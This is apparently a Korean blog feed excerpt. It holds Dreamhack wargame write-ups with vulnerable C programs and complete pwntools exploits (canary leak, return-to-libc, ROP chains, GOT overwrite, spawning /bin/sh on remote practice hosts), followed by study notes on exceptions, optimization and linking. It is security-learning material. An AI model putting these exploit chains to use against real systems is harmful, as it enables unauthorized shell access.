<li>NX로 인해 공격자가 버퍼에 주입한 쉘코드 실행 어렵지만 스택 버퍼 오버플로우 취약점으로 반환 주소 덮는 것은 여전히 가능 -&gt; 실행 권한 남아있는 코드 영역으로 반환 주소 덮는 공격 기법 고안</li>
<li>프로세스에 실행권한이 있는 메모리 영역 : 바이너리의 코드 영역, 바이너리가 참조하는 라이브러리의 코드영역</li>
</ul>
<h2 id="4-1-코드-분석">4-1 코드 분석</h2>
<pre><code class="language-c">// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

const char* binsh = &quot;/bin/sh&quot;;

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt&#39;s entry
  system(&quot;echo &#39;system@plt&quot;);

  // Leak canary
  printf(&quot;[1] Leak Canary\n&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);

  // Overwrite return address
  printf(&quot;[2] Overwrite return address\n&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);

  return 0;
}          </code></pre>
<blockquote>
</blockquote>
<ul>
<li>접근 방법</li>
</ul>
<ol>
<li>gdb를 통하여 main 함수영역 들여다 보기<ul>
<li>buf &lt;=&gt; sfp : 0x40</li>
<li>buf &lt;=&gt; cnry : 0x40 - 0x8 = 0x38</li>
<li>\x00 합한 payload를 보내서 cnry 주소 가져옴</li>
</ul>
</li>
<li>&quot;/bin/sh&quot;, system, pop rdi, ret 주소 파악한 이후 </li>
</ol>
<h2 id="4-2-exploit-code">4-2 Exploit code</h2>
<pre><code class="language-python">from pwn import *

def slog(name, addr):
    return success(&#39; : &#39;.join([name, hex(addr)]))

p = remote(&quot;host1.dreamhack.games&quot;, 22421)
e = ELF(&quot;./rtl&quot;)
libc = e.libc
rop = ROP(e)

context.arch = &#39;amd64&#39;

buf2sfp = 0x40
buf2cnry = buf2sfp - 0x8
payload = b&#39;A&#39; * (buf2cnry + 1)
p.sendafter(&#39;Buf:&#39;, payload)
p.recvuntil(payload)
cnry = u64(b&#39;\x00&#39; + p.recvn(7))

slog(&quot;Cnry&quot;, cnry)

system_plt = e.symbols[&#39;system&#39;]
sh = next(e.search(b&#39;/bin/sh&#39;))
pop_rdi = rop.find_gadget([&#39;pop rdi&#39;])[0]
ret = rop.find_gadget([&#39;ret&#39;])[0]

payload = b&#39;A&#39; * buf2cnry
payload += p64(cnry)
payload += b&#39;A&#39; * 0x8
payload += p64(ret) + p64(pop_rdi) + p64(sh) + p64(system_plt)

p.sendafter(&quot;Buf: &quot;, payload)

p.interactive()</code></pre>
<blockquote>
</blockquote>
<ul>
<li>payload 분석</li>
</ul>
<ol>
<li>system_plt = 위에서 system() 호출했기 때문에 Plt에 저장됨, 해당 주소 참조</li>
<li>특정 문자열 가져오기 : next(e.search(b&#39;/bin/sh&#39;))</li>
<li>ROPgadget 가져와야함<ul>
<li>system(rdi) -&gt; rdi에 /bin/sh 이 저장되도록 한 이후 system 호출 되게 해야함</li>
<li>pop rdi; ret gadget 필요</li>
<li>MOVAPS : Ubuntu 18.04 .. 이후 부터 stack align 필요</li>
</ul>
</li>
</ol>
<h2 id="4-3-details">4-3 details</h2>
<h3 id="4-3-1-finding-gadget">4-3-1 finding gadget</h3>
<blockquote>
</blockquote>
<ol>
<li>명령어로 찾기 (pop rdi; ret, ret) - 두개 찾기<ul>
<li>ROPgadget --binary ./filename --re &#39;pop rdi&#39;</li>
<li>ROPgadget --binary ./filename | grep &#39;pop rdi&#39;</li>
</ul>
</li>
<li>pwntools로 찾기<ul>
<li>ROP(ELF(&#39;./filename&#39;)).find_gadget([&#39;pop rdi&#39;])[0]</li>
<li>[0] : addr</li>
</ul>
</li>
</ol>
<h3 id="4-3-2-stack-align">4-3-2 Stack align</h3>
<ul>
<li>위에서 ret이 한번더 필요한 이유 : system()의 주소가 0x10의 배수여야함</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>잘못 정렬된 ROP 사용되었을때 호환성 문제 일으킴, X86_64 기준 16 byte이 아닌 데이터에서 작동하려 할때 General Protection Exception 발생</li>
</ul>
<ol>
<li>call 실행 직전 RSP는 16의 배수 (0x10)</li>
<li>RBP는 항상 16의 배수</li>
<li>함수 프롤로그 실행 후 RSP는 16의 배수</li>
<li>함수의 entry point에선 RSP +8이 16의 배수...</li>
</ol>
<ul>
<li>스택 상황 : sfp -&gt; ret </li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>sfp는 0x10의 배수</li>
<li>ret추가 안힐시 system()은 0x10의 배수가 아니게됨 -&gt; error</li>
</ol>
<br>

<h1 id="5-rop">5. ROP</h1>
<h2 id="5-1-code-분석">5-1 code 분석</h2>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts(&quot;[1] Leak Canary&quot;);
  write(1, &quot;Buf: &quot;, 5);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);

  // Do ROP
  puts(&quot;[2] Input ROP payload&quot;);
  write(1, &quot;Buf: &quot;, 5);
  read(0, buf, 0x100);

  return 0;
}
</code></pre>
<blockquote>
</blockquote>
<ol>
<li>bof 가능<ul>
<li>canary 값 가져온 이후에 exploit 코드 수행</li>
</ul>
</li>
</ol>
<h2 id="5-2-exploit-code">5-2 exploit code</h2>
<pre><code class="language-python">#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(&quot; : &quot;.join([name, hex(addr)]))

#p = process(&#39;./rop&#39;)
p = remote(&quot;host1.dreamhack.games&quot;, 9677)
e = ELF(&#39;./rop&#39;)
libc = ELF(&quot;./libc.so.6&quot;)

context.arch = &#39;amd64&#39;

buf2sfp = 0x40
buf2cnry = buf2sfp - 0x8

payload = b&#39;A&#39; * (buf2cnry +1)
p.sendafter(&quot;Buf:&quot;, payload)
p.recvuntil(payload)
cnry = u64(b&#39;\x00&#39; + p.recvn(7))

slog(&quot;cnry&quot;, cnry)

read_plt = e.plt[&#39;read&#39;]
read_got = e.got[&#39;read&#39;]
write_plt = e.plt[&#39;write&#39;]
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b&#39;A&#39; *0x38 + p64(cnry) + b&#39;B&#39; * 0x8

# write(1, read_got, ..)
payload += p64(pop_rdi) + p64(1) #rdi = 1

#rsi =read_goi, r15 = 0
#usually 3rd arg = rdx, but finding rdx gadget is difficut
#and that arg is work not important in this program
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

#read(0, read_got, ...)
#GOT overwrite
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

#read(&quot;/bin/sh&quot;) == system(&quot;bin/sh&quot;)
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret) #stack align
payload += p64(read_plt)

p.sendafter(b&#39;Buf: &#39;, payload)
read = u64(p.recvn(6) + b&#39;\x00&#39;*2)
lb = read - libc.symbols[&#39;read&#39;] #libc base addr
system = lb + libc.symbols[&#39;system&#39;]

slog(&#39;read&#39;, read)
slog(&#39;libc_base&#39;, lb)
slog(&#39;system&#39;, system)

#send payload about read(0, read_got, ..)
p.send(p64(system) + b&#39;/bin/sh\x00&#39;)

p.interactive()</code></pre>
<blockquote>
</blockquote>
<ol>
<li>3번째 arg는 rdx이지만 찾는것은 어렵고 실제로 중요한 역할을 하는 것이 아니기에 해당 코드에서는 r15를 사용</li>
<li>recvn(6) + b&#39;\x00&#39; * 2하는 이유<ul>
<li>libc에서 함수 맨앞의 2바이트 \x00\x00 형태로 정렬 해둠</li>
</ul>
</li>
</ol>
<br>


<h1 id="6-basicrop_x64">6. BasicRop_x64</h1>
<h2 id="6-1-코드-분석">6-1 코드 분석</h2>
<pre><code class="language-c">int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}</code></pre>
<blockquote>
</blockquote>
<ul>
<li>checksec 통해서 canary 없는것과, x64 형태인 것을 확인</li>
</ul>
<ol>
<li>buf 의 크기는 0x40, read함수는 0x400까지 입력 받음<ul>
<li>bof 가능</li>
</ul>
</li>
</ol>
<br>

<h2 id="6-2-exploit-code">6-2 exploit code</h2>
<pre><code class="language-python">#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(&quot; : &quot;.join([name, hex(addr)]))

binary = &quot;./basic_rop_x64&quot;
p = remote(&quot;host3.dreamhack.games&quot;, 21292)
e = ELF(binary)
libc = ELF(&quot;./libc.so.6&quot;, checksec = False)
r = ROP(e)

read_plt = e.plt[&#39;read&#39;]
read_got = e.got[&#39;read&#39;]
write_plt = e.plt[&#39;write&#39;]
main = e.sym[&#39;main&#39;]

sh = list(libc.search(b&#39;/bin/sh&#39;))[0]
pop_rdi = r.find_gadget([&#39;pop rdi&#39;, &#39;ret&#39;])[0]
pop_rsi_r15 = r.find_gadget([&#39;pop rsi&#39;, &#39;pop r15&#39;, &#39;ret&#39;])[0]

payload = b&#39;A&#39; * 0x48
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt) + p64(main)

p.send(payload)

p.recvuntil(b&#39;A&#39; * 0x40)

read = u64(p.recvn(6) + b&#39;\x00&#39; * 2)
lb = read - libc.sym[&#39;read&#39;]
system = lb + libc.sym[&#39;system&#39;]
binsh = lb + sh

payload = b&#39;A&#39; * 0x48
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b&#39;A&#39; * 0x40)

p.interactive()</code></pre>
<blockquote>
</blockquote>
<ol>
<li>read_got 주소 파악 <ul>
<li>libc 주소와의 거리 파악하기 위함</li>
</ul>
</li>
<li>main으로 return 할 payload 작성<ul>
<li>Read함수 에서 read_got 값 가져오고</li>
<li>write에서 main으로 돌아가야함<ul>
<li>payload를 보내야 read_got의 주소를 recv를 할 수 있기 때문 </li>
</ul>
</li>
</ul>
</li>
<li>두번째 main함수 진입<ul>
<li>read함수에서 system(&quot;/bin/sh&quot;) 실행</li>
</ul>
</li>
</ol>
<br>

<h1 id="7-baiscrop_x86">7. BaiscRop_x86</h1>
<h2 id="7-1-code-분석">7-1 code 분석</h2>
<pre><code class="language-c">int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
</code></pre>
<blockquote>
</blockquote>
<ol>
<li>checksec : canary X, x86형태(4bytes)</li>
<li>bof 가능</li>
</ol>
<h2 id="7-2-exploit-코드">7-2 exploit 코드</h2>
<pre><code class="language-python">#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(&quot; : &quot;.join([name, hex(addr)]))

binary = &quot;basic_rop_x86&quot;
p = remote(&quot;host3.dreamhack.games&quot;, 23049)
e = ELF(binary)
r = ROP(e)
libc = ELF(&quot;libc.so.6&quot;)

read_plt = e.plt[&#39;read&#39;]
read_got = e.got[&#39;read&#39;]
write_plt = e.plt[&#39;write&#39;]
write_got = e.got[&#39;write&#39;]
main = e.symbols[&#39;main&#39;]

read_offset = libc.symbols[&#39;read&#39;]
system_offset = libc.symbols[&#39;system&#39;]
binsh = list(libc.search(b&#39;/bin/sh&#39;))[0]

pop3ret = 0x08048689
p1ret = 0x0804868b

payload = b&#39;A&#39;* 0x48

#write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# return to main
payload += p32(main)
p.send(payload)

p.recvuntil(b&#39;A&#39; * 0x40)
read = u32(p.recvn(4))
lb = read - read_offset
system = lb + system_offset
binsh = binsh + lb

payload = b&#39;A&#39; * 0x48

#system(&quot;/bin/sh&quot;)
payload += p32(system)
payload += p32(p1ret) + p32(binsh)

p.send(payload)
p.recvuntil(b&#39;A&#39; * 0x40)

p.interactive()
</code></pre>
<blockquote>
</blockquote>
<ol>
<li>x86 : 4byte</li>
<li>stack에 저장해서 가져오기때문에 x64와 다른형식으로 코드 작성해야함<ul>
<li>따로 글 작성예정</li>
</ul>
</li>
<li>stack에서 pop만 신경써서 작성하면 x64와 코드 유사</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[Exceptional Control Flow]]></title>
            <link>https://velog.io/@gook_bob/Exceptional-Control-Flow</link>
            <guid>https://velog.io/@gook_bob/Exceptional-Control-Flow</guid>
            <pubDate>Wed, 01 Jan 2025 13:18:21 GMT</pubDate>
            <description><![CDATA[<h1 id="1-exceptions-and-processes">1. Exceptions and Processes</h1>
<blockquote>
</blockquote>
<ul>
<li>Jump, branch, call, ret =&gt; program state</li>
<li>0으로 나누는 명령어, 키보드 명령어 ... 등은 system state 변화시킴<ul>
<li>예외적인 control flow 필요</li>
</ul>
</li>
</ul>
<h2 id="1-1-exceptional-control-flow">1-1 Exceptional Control Flow</h2>
<blockquote>
</blockquote>
<ul>
<li>low level<ul>
<li>Exceptions : H/W, OS S/W의 조합등을 이용해서 구현</li>
</ul>
</li>
<li>Higher level<ul>
<li>Process Context switch : OS SW and HW</li>
<li>Signals : OS SW </li>
<li>Nonlocal jumps : C runtime library</li>
</ul>
</li>
</ul>
<h2 id="1-2-excepion">1-2 Excepion</h2>
<blockquote>
</blockquote>
<ul>
<li><p>여러 예외 상황 발생할때 마다 Kernel로 context switch</p>
</li>
<li><p>kernel은 해당 예외 보고 handler 통해 처리</p>
</li>
<li><p>이후 현재 작업으로 다시 돌아갈지, 다른 작업 할지, 중단 할지 정함</p>
</li>
<li><p>Excption Tables</p>
</li>
</ul>
<blockquote>
</blockquote>
<ol>
<li>해당 테이블에는 Exception numbers를 가지는 Exception 들어있다</li>
<li>각 ecxception들은 주소값을 가지고 event handler가 해당 주소 참조</li>
</ol>
<ul>
<li>동기화 예외</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>Timer interrupt, 외부 디바이스로부터의 I/O interrupt</li>
</ul>
<p>1.. Traps : 의도적으로 프로그램이 일으킬수 있는 시스템 콜</p>
<ul>
<li>system call : read, write, open, close, fork, execve ...</li>
<li>returns control to &quot;next&quot; instruction<ol start="2">
<li>Faults : 의도적이진 않지만 회복 가능</li>
</ol>
</li>
<li>page faults protection faults<ol start="3">
<li>Aborts : 의도하지 않았고, 회복이 불가능한 상태</li>
</ol>
</li>
<li>illegal instruction, parity error(S/DRAM data 변조시)</li>
</ul>
<h2 id="1-3-processes">1-3 Processes</h2>
<blockquote>
</blockquote>
<ol>
<li>메모리에 적재되어 실해중인 프로그램</li>
<li>프로세스는 각 프로그램에게 두개의 중요한 추상적 정보 제공<ul>
<li>logical control flow <ul>
<li>각 프로그램은 독립적으로 CPU 사용 가능</li>
<li>context switch 커널 메커니즘 제공</li>
<li>독립적 Logical flow 가지고 동시에 수행</li>
</ul>
</li>
<li>Private address space<ul>
<li>각 프로그램은 메인을 독점적으로 사용</li>
<li>가상 메모리는 커널 메커니즘 제공</li>
</ul>
</li>
</ul>
</li>
<li>Multiprocessing <ul>
<li>현재 레지스터를 메모리에 저장 =&gt; 다른거 실행하기 위해 back-up</li>
<li>실행을 위해 다른 프로세스 스케쥴링</li>
<li>저장된 레지스터를 적재하고 address space 바꿈 =&gt; 문맥전환</li>
<li>Main memory 공유</li>
</ul>
</li>
<li>Concurrent Processes<ul>
<li>A -&gt; B -&gt; A (다시 돌아옴) </li>
</ul>
</li>
<li>Sequenttial<ul>
<li>A -&gt; B (종료된 후 시작)</li>
</ul>
</li>
<li>Context Switching<ul>
<li>process A -&gt; B 로 바뀔때</li>
<li>각 모드를 바꿈(user, root, kernel ...)</li>
</ul>
</li>
<li>System Call Error handling<ul>
<li>error no : return -1</li>
<li>정상 : 0</li>
<li>Error-handling wrappers 사용 이유</li>
<li>cost size 감소, Readability 증가(모듈화, 재사용성)</li>
<li>Terminate <ul>
<li>main에서 Ret</li>
<li>exit : void type func, 정상 : return 0</li>
</ul>
</li>
</ul>
</li>
<li>int fork(void)<ul>
<li>child : return 0</li>
<li>parents : return 0이 아닌값</li>
<li>부모의 contents를 복사한채로 가져옴, 분리되어있다</li>
<li>return 2개, child = 0, parents != 0 =&gt; 서로 다른 PID</li>
</ul>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/29d01c74-1bea-4b3b-9adf-18a1583da90f/image.png" alt=""></p>
<blockquote>
</blockquote>
<ul>
<li>부모의 프로세스가 먼저 실행될지, 자식의 프로세스가 먼저 실행될지는 예상하지 못함</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/999b0c88-13b9-4191-8284-348ad08094e0/image.png" alt=""></p>
<blockquote>
</blockquote>
<ul>
<li>흐름은 Left -&gt; Right가 되어야함 =&gt; e -&gt; f = R -&gt; L</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/d5cb576a-d11a-4ec2-a3e8-023886c53a13/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Optimization]]></title>
            <link>https://velog.io/@gook_bob/Optimization</link>
            <guid>https://velog.io/@gook_bob/Optimization</guid>
            <pubDate>Wed, 01 Jan 2025 12:59:38 GMT</pubDate>
            <description><![CDATA[<h1 id="1-optimization">1. Optimization</h1>
<h2 id="1-1-program-optimization">1-1 Program Optimization</h2>
<blockquote>
<ul>
<li>컴파일러는 최적화를 해줌</li>
</ul>
</blockquote>
<ul>
<li>곱하기 보다 덧셈이 빠르다</li>
<li>불필요한 연산 컴파일러가 줄여줌</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/29296b9f-f501-492b-a874-cd0099d2fe8c/image.jpg" alt=""></p>
<blockquote>
<ol>
<li>빨간색 부분 매번 계산하기 때문에 효율 낮음</li>
<li>컴파일러는 오른쪽 그림처럼 되게끔 최적화 작업 수행</li>
<li>최적화 단계 0~3 까지 있는데 단계가 높다고 다 빠르지 않음 전부 수행해보며 빠른 것으로 채택</li>
</ol>
</blockquote>
<ul>
<li>optimization 높다고 빨라지는 것은 아님 잘못된 판단 있을 수 있고, 옳다 하더라도 코드가 추가 될 수 있다.</li>
</ul>
<br>

<h2 id="1-2-optimizatoin-blocker">1-2 Optimizatoin Blocker</h2>
<blockquote>
<ul>
<li>컴파일러가 만질 수 없는 부분</li>
</ul>
</blockquote>
<ul>
<li>프로그램의 동작이 달라질 수 있기 때문</li>
<li>e.g. procedure calls ...</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/7e17e1f8-b55e-4f20-9d09-49f0ce9d96ec/image.jpg" alt=""><img src="https://velog.velcdn.com/images/gook_bob/post/db40c1f7-5d5e-47f1-925e-f271edfb559f/image.jpg" alt=""></p>
<blockquote>
<ul>
<li>Output이 달라질 수 있다. 즉 프로그램의 동작에 이상이 생길 수 있기 때문에 strlen을 옮기지 않고 그대로 실행</li>
</ul>
</blockquote>
<ul>
<li>프로그래머가 직접 해당 함수 옮겨야함</li>
</ul>
<br>

<h2 id="1-3-memory-aliasing">1-3 Memory Aliasing</h2>
<blockquote>
<p>a, b는 포인털써 어떤 메모리의 주소를 각자 가리키고 있을텐데 만약 a, b외에 c라는 다른 포인터가 같은 메모리 공간 가리키고 있을 때의 상황을 의미</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/4304aa4f-e875-4b1d-9787-5fd0879ac5b4/image.jpg" alt=""></p>
<blockquote>
<ul>
<li>최적화 불가능</li>
</ul>
</blockquote>
<ul>
<li>b[I] += a[I*n + j]; 에서 b[I]에다 a를 더하고 있다. Double b[3] = A + 3; 과 같이 B가 배열 A의 중간 어딘가 부분을 가리키고 있었다고 하자 -&gt; 이것이 memory aliasing, A는 크기가 9인 메모리 공간을 가리키고 있을텐데, B가 A의 한 가운데인 {4, 8 , 16} 쪽을 가리키고 있다.<ul>
<li>해결방법</li>
</ul>
</li>
<li>memory aliasing 대신에 val += a[I*n]+j] 처럼 하여 b[I]에다 val 할당</li>
</ul>
<br>

<h1 id="2-program-optimization-2">2. Program Optimization 2</h1>
<h2 id="2-1-benchmark">2-1 Benchmark</h2>
<blockquote>
<ul>
<li>어떤 특정 기능의 성능 알고 싶을 때 그 기능에 대해 계속 스트레스를 주입해 성능 파악하는 것</li>
</ul>
</blockquote>
<br>

<p><img src="https://velog.velcdn.com/images/gook_bob/post/7b35db81-dfac-463e-af71-2515c1d5845c/image.png" alt=""></p>
<blockquote>
<p>해당 함수는 idx 인덱스에 들어있는 값을 얻어와 val 포인터가 가리키고 있는 메모리에 저장</p>
</blockquote>
<ul>
<li>daat_t, int, long, float, double 등의 어떤 데이터 타입 할당하는가에 따른 성능 분석하는 benchmark</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/gook_bob/post/e6b065b8-55a3-4d33-a3d7-91110cf7a373/image.png" alt=""></p>
<blockquote>
<ul>
<li>v의 Length 만큼 For문을 돌면서 벡터의 각 원소의 값을 가져와서 현재 리턴할 값에다가 덧셈 또는 곱셈을 해준다.<ul>
<li>초기값이 0이면 덧셈, 1이면 곱셈</li>
</ul>
</li>
</ul>
</blockquote>
<blockquote>
<ul>
<li>CPE = Cycles per OP = input element 갯수, n = Length</li>
</ul>
</blockquote>
<ul>
<li>T = CPE * n + Overhead</li>
<li>CPE 많아질수록 걸리는 시간 커질텐데, slope가 낮아질수록 직선의 기울기가 낮아서 성능이 더좋은것</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/gook_bob/post/50397f52-61d8-4cf6-9d7b-5dc13006ab8a/image.png" alt=""></p>
<blockquote>
<ul>
<li>int, double를 부여했을때 덧셈, 곱셈의 수행시간 나타낸 것<ul>
<li>-O1 compile =&gt; 옵션 부여 X 시간 / 2</li>
</ul>
</li>
</ul>
</blockquote>
<ul>
<li>더 최적화 하는 방법<ul>
<li>length를 Loop 밖에서 받도록 컴파일러에서 최적화 -&gt; 이 내용을 코드로 다시 작성 후 compile</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/2ab07ef3-bec2-4bee-aa87-85b58af54efd/image.png" alt=""></p>
<blockquote>
<ul>
<li>직접 code motion 한게 -O1보다 성능 좋음</li>
</ul>
</blockquote>
<ul>
<li>컴파일시 최적화 옵션 준 후 코드 수정된 것을 code motion 통해 수정시 대폭 향상</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/8f9e9b4d-41b6-432a-a9f2-59f5907d4c89/image.png" alt=""></p>
<blockquote>
<ul>
<li>Latency Bound : 최소 처리 지연시간(처리하는데 걸리는 시간)<ul>
<li>연산 속도가 상황에 따라 다를텐데, 아무리 빨라도 이 시간보다 빠를 수 없다</li>
<li>Int, add가 월등히 빠름</li>
</ul>
</li>
</ul>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Linking]]></title>
            <link>https://velog.io/@gook_bob/Linking</link>
            <guid>https://velog.io/@gook_bob/Linking</guid>
            <pubDate>Wed, 01 Jan 2025 12:33:59 GMT</pubDate>
            <description><![CDATA[<h1 id="1-linking">1. Linking</h1>
<h2 id="1-1-about">1-1 about</h2>
<ul>
<li>여러개의 코드와 데이터를 통합, 연결 하여 실행될 수 있는 하나의 파일로 만드는 작업</li>
</ul>
<blockquote>
<ul>
<li>사용 이유<br>
</li>
</ul>
</blockquote>
<ol>
<li>Modularity(모듈화)<ul>
<li>하나의 거대한 파일이 아니라 여러개의 작은 source 파일이 모여 하나의 걷한 파일을 이룰 수 있으며, 라이브러리를 만들 때도 유용하게 쓰임<br></li>
</ul>
</li>
<li>Efficienc<ul>
<li>여러개의 작은 source 파일로 나누게 되면 특정 source 파일만 다시 컴파일만 하고 linking 거치게 되면 시간적인 측면에서 효율적</li>
</ul>
</li>
</ol>
<br>


<blockquote>
<ul>
<li>역할</li>
</ul>
</blockquote>
<ol>
<li>symbol table 만들어서 Global, static 변수 등 알려줌</li>
<li>Relocation<ul>
<li>linking 위해 서로 분류된 소스 파일에서 함수 call할때, 함수가 위치한 주소 알아야한다. 이에 Linker가 서로 다른 section에 있는 data들을 하나의 section으로 합치는 작업을 하게 되고, symbol table에 며이된 ㅣocation을 Relocation 하여 새로운 주소로 바꿔주는 작업</li>
</ul>
</li>
</ol>
<br>

<h2 id="1-2-elfexecutable-and-linkable-format">1-2 ELF(Executable and Linkable Format)</h2>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/a1b63178-d39f-46e1-b8c7-1b09f670b6ec/image.jpg" alt=""></p>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/c04eb662-b79e-4316-96a6-26036b27919c/image.jpg" alt=""></p>
<blockquote>
<ul>
<li>bss 
 -값 정의되지 않은 global 변수 저장
 -어느정도의 size를 잡아야하는지에 초점 맞추게됨
 -int a[100];</li>
</ul>
</blockquote>
<br>

<h2 id="1-3-linker-symbols">1-3 Linker SYMBOLS</h2>
<blockquote>
<ul>
<li>링킹 시작시 각 파일에 존재하는 함수, 변수에 대해 분리작업 거치게 되는데 3가지 분류로 나뉨<br>
</li>
</ul>
</blockquote>
<ol>
<li>Global symbol<ul>
<li>global 변수로 정의된 변수들의 총 집합, 다른 모듈에서도 접근 및 사용 가능(extern 명시한 경우)</li>
<li>non-staic C function, non-static C global variable</li>
<li>접근할 경우 Link error 유발할 수 있으며, symbol table에 들어가지 않는다<br></li>
</ul>
</li>
<li>External Symbol
-global 변수를 나타내지만, 파일내 가 아닌 다른 파일에서 명시된 변수나 함수<br></li>
<li>Local symbols<ul>
<li>module 밖에서 정의된 symbol</li>
<li>다른 모듈에서 접근 불가능</li>
<li>static으로 정의된 C function, variable</li>
<li>local 변수와 Local linker symbol은 완전히 다름</li>
</ul>
</li>
</ol>
<br>

<h3 id="1-3-1-linkers-symbol-rules">1-3-1 Linker&#39;s SYmbol Rules</h3>
<blockquote>
<ul>
<li>Type<br>
</li>
</ul>
</blockquote>
<ol>
<li>Strong symbol : Procedures(함수 이름), Initialized variables(.data에 저장되는 변수들)<br></li>
<li>Weak symbol : uninitialized variables(.bss)</li>
</ol>
<blockquote>
<ul>
<li>Rules<Br>
</li>
</ul>
</blockquote>
<ol>
<li>Rule 1 : Multiple strong symbols are not allowed<ul>
<li>strong symbol 에서 변수, 함수의 선언은 오직 한번만 허용</li>
<li>어길시 link error<br></li>
</ul>
</li>
<li>Rule 2 : Given a Strong symbol and multiple weak symbols, choose the strong symbols<ul>
<li>weak symbol에 대한 reference들이 strong symbol로 바뀌게 됨</li>
<li>에러가 발생하진 않음, symbol이 뒤바뀌면서 원하는 프로그램이 작동하지 않을 수 있다.<br></li>
</ul>
</li>
<li>Rule 3 : If there are multiple weak symbols, pick an arbitary one <ul>
<li>randomly 선택</li>
<li>가장 위험한 상황</li>
</ul>
</li>
</ol>
<br>

<p><img src="https://velog.velcdn.com/images/gook_bob/post/ac26f6f2-d2d8-47f9-b629-f615f1bc21e7/image.jpg" alt=""></p>
<blockquote>
<ul>
<li>p1() {} : 서로 다른 c 파일에서 선언됨, Rule 1 위반 -&gt; link error</li>
</ul>
</blockquote>
<br>

<p><img src="https://velog.velcdn.com/images/gook_bob/post/bd2246aa-37cf-4efb-855e-7ffaf2ad1d37/image.png" alt=""></p>
<blockquote>
<ul>
<li>weak symbol이 동시에 서로 다른 파일에 정의 -&gt; randim하게 변수 설정</li>
</ul>
</blockquote>
<ul>
<li>p1에서 x로 접근시, p2도 똑같은 x로 접근하게됨</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/gook_bob/post/60f39dd1-f5e6-45a1-9199-7c5da6808d52/image.png" alt=""></p>
<blockquote>
<ul>
<li>int, double 서로 다른 data type 형태로 같은 이름으로 변수 저장 -&gt; Random하게 변수 선택</li>
</ul>
</blockquote>
<ul>
<li>P2의 double이 선택될 경우 큰문제 발생 X</li>
<li>p1의 int 선택될 시 p2(){}에서 int x의 값을 받아와서 값을 수정할때 int와 인접한 data인 int y가 overwrite될 수 있음</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/gook_bob/post/b86d7cde-a528-4d2b-97e8-253b8af5e30a/image.jpg" alt=""></p>
<blockquote>
<ul>
<li>반드시 overwrite 발생, int x = 7;은 strong symbol -&gt; double x가 아닌 Int x 채택됨 이후 y = 5;가 저장, 즉 x, y는 인접한 데이터로 저장
 -p2(){..}에서 x값 수정시 8바이트 수정이 되어 y의 값이 훼손</li>
</ul>
</blockquote>
<br>

<p><img src="https://velog.velcdn.com/images/gook_bob/post/9f2ddc7d-ab7d-414c-b46a-69e4f1686dc3/image.jpg" alt=""></p>
<blockquote>
<ul>
<li>strong symbol인 int x = 7 선택<ul>
<li>p2(){}에서도 해당 x 접근</li>
<li>컴파일 상 문제 x, 원하는 프로그램 구현 불가능</li>
</ul>
</li>
</ul>
</blockquote>
<br>

<h2 id="1-4-relocation-entries">1-4 Relocation entries</h2>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/81b215e5-3ac6-49cf-a23d-733060addb9f/image.jpg" alt=""></p>
<blockquote>
<ul>
<li>a : R_X86_64_32 array<pre><code>- a 주소에 있는 값을 array 주소로 바꿔라</code></pre></li>
<li>f : R<del>~</del> sum - 0x4</li>
</ul>
</blockquote>
<ul>
<li>f 주소에 있는 값을 sum의 상대주소로 바꿔라</li>
</ul>
<br>

<h2 id="1-5-library">1-5 Library</h2>
<blockquote>
<ol>
<li>구식 : Static Libraries</li>
</ol>
</blockquote>
<ul>
